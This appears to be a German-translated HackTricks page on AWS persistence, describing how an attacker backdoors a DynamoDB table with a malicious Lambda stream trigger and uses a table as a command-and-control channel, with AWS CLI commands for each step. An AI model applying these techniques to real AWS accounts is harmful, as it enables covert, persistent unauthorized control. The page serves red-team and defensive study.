AWS - DynamoDB Persistence

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

DynamoDB

Für weitere Informationen zugreifen:

pageAWS - DynamoDB Enum

DynamoDB Trigger mit Lambda Backdoor

Durch die Verwendung von DynamoDB-Triggern kann ein Angreifer eine heimliche Hintertür erstellen, indem er eine bösartige Lambda-Funktion mit einer Tabelle verknüpft. Die Lambda-Funktion kann ausgelöst werden, wenn ein Element hinzugefügt, geändert oder gelöscht wird, was es dem Angreifer ermöglicht, beliebigen Code im AWS-Konto auszuführen.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Um die Persistenz aufrechtzuerhalten, kann der Angreifer Einträge in der DynamoDB-Tabelle erstellen oder ändern, was die Ausführung der bösartigen Lambda-Funktion auslöst. Dies ermöglicht es dem Angreifer, Code innerhalb des AWS-Kontos auszuführen, ohne direkt mit der Lambda-Funktion interagieren zu müssen.

DynamoDB als C2-Kanal

Ein Angreifer kann eine DynamoDB-Tabelle als Command-and-Control (C2)-Kanal verwenden, indem er Einträge erstellt, die Befehle enthalten, und kompromittierte Instanzen oder Lambda-Funktionen verwendet, um diese Befehle abzurufen und auszuführen.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Die kompromittierten Instanzen oder Lambda-Funktionen können regelmäßig die C2-Tabelle auf neue Befehle überprüfen, sie ausführen und optional die Ergebnisse zurück an die Tabelle melden. Dies ermöglicht es dem Angreifer, Persistenz und Kontrolle über die kompromittierten Ressourcen aufrechtzuerhalten.

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated